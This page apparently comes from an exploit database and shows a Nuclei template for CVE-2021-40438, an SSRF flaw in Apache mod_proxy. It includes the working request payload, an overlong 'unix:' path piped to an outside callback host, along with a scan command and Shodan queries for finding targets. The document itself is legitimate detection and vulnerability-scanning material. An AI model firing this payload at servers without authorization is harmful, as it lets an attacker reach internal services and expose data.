Materialized exploit
CVE-2021-40438
CRITICAL KEV1 public exploit(s) for this CVE, 1 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
Nuclei
critical Verified
Source
Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
By projectdiscovery
How to test this exploit
The Nuclei template IS the test: an executable detection rule. Install nuclei, then run it against a target you control.
nuclei -id CVE-2021-40438 -u https://your-target
Template yaml
id: CVE-2021-40438
info:
name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
author: pdteam
severity: critical
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
impact: |
Attackers can perform SSRF attacks via mod_proxy to access internal resources and forward requests to arbitrary origin servers, potentially exposing internal services and data.
remediation: Upgrade to Apache version 2.4.49 or later.
reference:
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9
cve-id: CVE-2021-40438
cwe-id: CWE-918
epss-score: 0.99999
epss-percentile: 0.99997
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: http_server
shodan-query:
- cpe:"cpe:2.3:a:apache:http_server"
- apache 2.4.49
tags: cve2021,cve,ssrf,apache,mod-proxy,kev,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(header, "X-Interactsh-Version")'
- "!contains(body, '<h1> Interactsh Server </h1>')"
condition: and
# digest: 490a00463044022046eb82160db872acce6c5bcfee56bf4de306c46b1de7cf14baa92b62c70fb3ad02205c06936acf4132f14eefb513ccb25f5b87048b60cfa11d8b761592d5741c37e5:922c64590222798bb761d5b6d8e72950